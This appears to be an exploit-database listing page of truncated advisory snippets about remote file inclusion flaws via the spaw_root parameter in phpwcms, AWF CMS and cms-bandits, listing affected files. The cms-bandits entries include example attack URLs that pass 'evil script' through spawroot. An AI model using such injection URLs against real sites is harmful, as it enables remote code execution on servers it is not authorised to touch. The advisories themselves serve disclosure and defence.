PHPWCMS 1.1-RC4 - spaw Remote File Inclusion

PHPWCMS 1.1-RC4 - spaw Remote File Inclusion PhpwCMS 1.2.6 = Multiple Remote file inclusion vulnerabilities Discovered by : |/| . .. | || ||| | | Vuln In : include $spawroot.'class/lang.class.php'; Affected Files : include/incext/spaw/dialogs/table.php include/incext/spaw/dialogs/a.php...

PhpwCMS 1.2.6 <= Multiple Remote file inclusion vulnerabilities

PhpwCMS 1.2.6 = Multiple Remote file inclusion vulnerabilities Discovered by : |/| . .. | || ||| | | Vuln In : include $spawroot.'class/lang.class.php'; Affected Files : include/incext/spaw/dialogs/table.php include/incext/spaw/dialogs/a.php include/incext/spaw/dialogs/colorpicker.php...

AWF CMS 1.11 - spaw_root Remote File Inclusion

AWF CMS 1.11 - spawroot Remote File Inclusion ----------------------------------------------------- Advisory id: FSA:011 Author: Federico Fazzi Date: 11/06/2006, 22:30 Sinthesis: AWF CMS 1.11, Remote command execution Type: high Product: http://www.awf-cms.org/ Patch: unavailable...

AWF CMS 1.11 (spaw_root) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ========================================================== AWF CMS 1.11 spawroot Remote File Include Vulnerability ========================================================== ----------------------------------------------------- Advisory id...

AWF CMS 1.11 - 'spaw_root' Remote File Inclusion

----------------------------------------------------- Advisory id: FSA:011 Author: Federico Fazzi Date: 11/06/2006, 22:30 Sinthesis: AWF CMS 1.11, Remote command execution Type: high Product: http://www.awf-cms.org/ Patch: unavailable ----------------------------------------------------- 1...

AWF CMS 1.11 (spaw_root) Remote File Include Vulnerability

No description provided by source. ----------------------------------------------------- Advisory id: FSA:011 Author: Federico Fazzi Date: 11/06/2006, 22:30 Sinthesis: AWF CMS 1.11, Remote command execution Type: high Product: http://www.awf-cms.org/ Patch: unavailable...

cms-bandits 2.5 (spaw_root) Remote File Include Vulnerabilities

No description provided by source. Author: Federico Fazzi Contact: [email protected] Date: 08/06/2006, 11:09 Sinthesis: cms-bandits 2.5, Remote file disclosure Product: http://sourceforge.net/projects/cms-bandits http://site/cms-bandits/dialogs/td.php?spawroot=evil script...

CMS-Bandits 2.5 - 'spaw_root' Remote File Inclusion

Author: Federico Fazzi Contact: [email protected] Date: 08/06/2006, 11:09 Sinthesis: cms-bandits 2.5, Remote file disclosure Product: http://sourceforge.net/projects/cms-bandits http://site/cms-bandits/dialogs/td.php?spawroot=evil script http://site/cms-bandits/dialogs/img.php?spawroot=evil...

phpwcms spaw_control.class.php spaw_root Parameter Remote File Inclusion

The remote host is running phpwcms, an open source content management system written in PHP. The version of phpwcms installed on the remote host fails to sanitize user-supplied input to the 'spawroot' parameter before using it in PHP include functions in the...